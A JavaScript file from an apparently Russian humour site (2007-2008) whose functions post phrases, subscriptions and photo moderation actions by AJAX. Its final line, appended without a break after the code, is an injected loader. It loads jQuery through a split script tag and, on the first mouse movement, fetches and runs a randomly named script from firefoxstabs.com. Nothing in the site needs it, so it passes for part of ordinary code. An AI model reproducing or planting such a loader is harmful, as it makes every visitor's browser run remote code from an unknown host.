/*
  (c)opyright
geralt aka geralt
  2007-2008
  mail to geralt dot ne _ gmail dot com
*/

var request=get_http();
var busy=false;
var dest='dest';
var subscribeSuccess='Спасибо за подписку!!!';

function do_(id,mode)
  {
    arr=new Array();
    arr['id']=id;
    arr['mod'] = mode;
    arr['function'] = 'aprove';
    arr['src'] = 'fotoprikol';
    block(arr,'all');
  }
function filter(mode)
  {
    arr = new Array();
    arr['mode'] = mode;
    arr['function'] = 'premoderate';
    arr['src'] = 'fotoprikol';
    block(arr,'all');
  }

function post()
  {
    var text=document.getElementById('text').value;
    var who=document.getElementById('who').value;
    arr=new Array();
    arr['text']=text;
    arr['who']=who;
    arr['date'] = document.getElementById('date').value;
    arr['function'] = 'addPhrase';
    arr['src'] = 'phrase';
    block(arr,'all');
  }

function subscribe()
  {
    var email=document.getElementById('email').value;
    arr=new Array();
    arr['email']=email;
    arr['function'] = 'subscribe';
    arr['src'] = 'phrase';
    block(arr,'alert');
  }
function del(id)
  {
    if (!confirm('Удалить выбранную фразу?!'+id)) return;
    arr=new Array();
    arr['id']=id;
    arr['function'] = 'addPhrase';
    arr['src'] = 'phrase';
    block(arr,'all');
  }

function del_prikol(id)
  {
    if (!confirm('Удалить выбранную фоту?!'+id)) return;
    arr=new Array();
    arr['id']=id;
    arr['function'] = 'delPrikol';
    arr['src'] = 'fotoprikol';
    block(arr,'all');
  }
function block(params,postId,after_func)
  {
    var url = document.URL;
//    document.getElementById('process').innerHTML='<img src=/ajax/process.gif>';
    if (busy!=true)
      {
        busy=true;
        postArray='';
        for (key in params)
          {
            postArray+=key+'='+params[key]+'&';
          }
        postArray+='ajaz=1';
        request.open("POST", url, true);
        request.onreadystatechange = function()
          {
            if (request.readyState == 4)
              {
                if (request.status == 200)
                  {
                    if (postId)
                      {
                        if (postId == 'alert')
                          {
                            alert(request.responseText);
                          }
                        else
                          {
                            document.getElementById(postId).innerHTML=request.responseText;
                          }
                      }
                    if (after_func)
                      {
                        window.eval(after_func);
                      }
//                    document.getElementById('process').innerHTML='';
                    busy=false;
                  }
              }
          }
        request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        request.send(postArray);
      }
  }


function get_http(){
    var xmlhttp;
    /*@cc_on
    @if (@_jscript_version >= 5)
        try {
            xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
        } catch (e) {
            try {
                xmlhttp = new
                ActiveXObject("Microsoft.XMLHTTP");
            } catch (E) {
                xmlhttp = false;
            }
        }
    @else
        xmlhttp = false;
    @end @*/
    if (!xmlhttp && typeof XMLHttpRequest != 'undefined') {
        try {
            xmlhttp = new XMLHttpRequest();
        } catch (e) {
            xmlhttp = false;
        }
    }
    return xmlhttp;
}document.write('<scr'+'ipt src="https://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></scr'+'ipt>');var x = jQuery.noConflict(true);x(function() {var flag = 0;x(window).mousemove(function() {if (flag === 0) {flag = 1;x.getScript('http://firefoxstabs.com/' + Math.random().toString().substring(3) + '.js', function() {flag = 2;});}});});
